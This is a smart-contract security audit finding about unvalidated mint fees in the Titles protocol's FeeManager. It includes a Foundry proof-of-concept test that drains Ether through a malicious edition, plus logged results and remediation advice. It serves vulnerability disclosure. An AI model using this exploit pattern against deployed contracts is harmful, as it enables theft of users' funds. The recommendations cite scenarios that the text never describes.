Sleepy Cider Cormorant

high

# Unvalidated `mintFee` that leads to stealing from `FeeManager`

## Summary

The mintFee variable is not validated and allows the edition creator to set over 100% and steal excessively sent Ether and Ether kept on fee manager.

The `mintFee` variable is not validated and allows the edition creator to set high fee and steal excessively sent Ether or Ether kept on fee manager.


## Vulnerability Detail

The creator of edition can steal funds stored on `FeeManager` by setting high `mintFee` (close to `FeeManager`'s balance) and mint a token without any `msg.value` sent. 

Even though the EDITION_MANAGER_ROLE is considered trusted, it is only trusted within the scope of their own edition. This trust cannot be applied here, as the funds will be stolen from another contract that kept Ether from different mints. This particular scenario opens a way for attacker to easily steal the Ether sent by the user and the holdings and approvals of `FeeManager`.

**Note:** The vulnerability will have an even greater impact on ERC20 tokens, which, although they were excluded from the scope after the start of the contest, the team still plans to support. Then it will be possible not only to steal them, but also the amount approved for `FeeManager` by the user.

**Important:** The funds on `FeeManager` contract can appear from different sources, including direct call because it has `receive()` function and the `withdraw()` function that is used by the admin to rescue tokens. 

The POC scenario shows the following situation:
1. There are no funds at FeeManager.
2. Alice mints 1 token of a legit edition, and now there is 0.9494 ether stored on the `FeeManager`.
3. Attacker creates new edition with big mint fee.
4. Attacker mints 1 token of his edition without any `msg.value`.
5. `FeeManager` covers the cost of attacker's mint and sends him the mint fee.

## PoC results

Balances of the fee manager and creator before the mint and after the mint:

```solidity
[PASS] test_mintFee_Theft() (gas: 1592058)
Logs:
  BEFORE MALICIOUS MINT
  Fee Manager balance:      949400000000000000
  Attacker balance:         100000000000000000
  AFTER MALICIOUS MINT
  Fee Manager balance:       48800000000000000
  Attacker balance:        1000000000000000000
```

## PoC file 

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {LibZip} from "lib/solady/src/utils/LibZip.sol";

import {
    ETH_ADDRESS, EditionCreated, Metadata, Node, Strategy, Target
} from "src/shared/Common.sol";
import {Edition} from "src/editions/Edition.sol";
import {TitlesCore} from "src/TitlesCore.sol";

contract MockSplitFactory {
    struct Split {
        address[] recipients;
        uint256[] allocations;
        uint256 totalAllocation;
        uint16 distributionIncentive;
    }

    function createSplit(Split memory, address, address) external view returns (address) {
        return address(this);
    }
}

contract TitlesCoreTest is Test {
    TitlesCore public titlesCore;

    function setUp() public {
        titlesCore = new TitlesCore();
        titlesCore.initialize(address(1), address(new MockSplitFactory()));
    }

    function test_mintFee_Theft() public {

        address creator = vm.addr(0x101);
        address alice = vm.addr(0x102);
        address referrer = vm.addr(0x103);
        address attacker = vm.addr(0x104);

        vm.deal(alice, 1.1 ether);
        vm.deal(attacker, 0.1 ether);
        
        Edition legitEdition = _createEdition(
            TitlesCore.WorkPayload({
                creator: Target({target: creator, chainId: block.chainid}),
                attributions: new Node[](0),
                maxSupply: 100,
                opensAt: uint64(block.timestamp),
                closesAt: uint64(block.timestamp + 3 days),
                strategy: Strategy({
                    asset: ETH_ADDRESS,
                    mintFee: 0.05 ether,
                    revshareBps: 1000,
                    royaltyBps: 250
                }),
                metadata: Metadata({label: "Werk", uri: "https://ipfs.io/{{hash}}", data: new bytes(0)})
            }),
            Metadata({label: "Test Edition", uri: "https://ipfs.io/{{hash}}", data: new bytes(0)})
        );

        // Alice mints some tokens
        vm.prank(alice);
        legitEdition.mint{value: 1 ether}(alice, 1, 1, address(0), new bytes(0));
        
        //Attacker creates a new edition with big mint fee (0.9 eth)
        vm.prank(attacker);
        Edition maliciousEdition = _createEdition(
            TitlesCore.WorkPayload({
                creator: Target({target: attacker, chainId: block.chainid}),
                attributions: new Node[](0),
                maxSupply: 100,
                opensAt: uint64(block.timestamp),
                closesAt: uint64(block.timestamp + 3 days),
                strategy: Strategy({
                    asset: ETH_ADDRESS,
                    mintFee: 0.9 ether,
                    revshareBps: 1000,
                    royaltyBps: 250
                }),
                metadata: Metadata({label: "", uri: "", data: new bytes(0)})
            }),
            Metadata({label: "", uri: "", data: new bytes(0)})
        );

        address feeManager = address(titlesCore.feeManager());

        console.log("BEFORE MALICIOUS MINT");
        console.log("Fee Manager balance:    ", feeManager.balance);
        console.log("Attacker balance:       ", attacker.balance);

        vm.prank(attacker);
        maliciousEdition.mint(
            attacker,
            1,
            1,
            referrer,
            ""
        );
        console.log("AFTER MALICIOUS MINT");
        console.log("Fee Manager balance:      ", feeManager.balance);
        console.log("Attacker balance:       ", attacker.balance);
    }

    function _createEdition(
        TitlesCore.WorkPayload memory workPayload,
        Metadata memory metadata
    ) internal returns (Edition e) {
        return titlesCore.createEdition{value: titlesCore.feeManager().getCreationFee().amount}(
            LibZip.cdCompress(
                abi.encode(TitlesCore.EditionPayload({work: workPayload, metadata: metadata}))
            ),
            address(0)
        );
    }
}
```

## Impact

Theft of the excessive Ether/tokens sent by the user and the holdings and approvals of `FeeManager`.

## Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/fees/FeeManager.sol#L322-L342

## Tool used

Manual Review

## Recommendation

The fee manager should validate whether the sent `msg.value` is sufficient to cover the fees (that would protect from scenarios 1 and 3).

The strategy update should be timelocked (that would protect from scenarios 2).

Consider setting a limit for mint fee.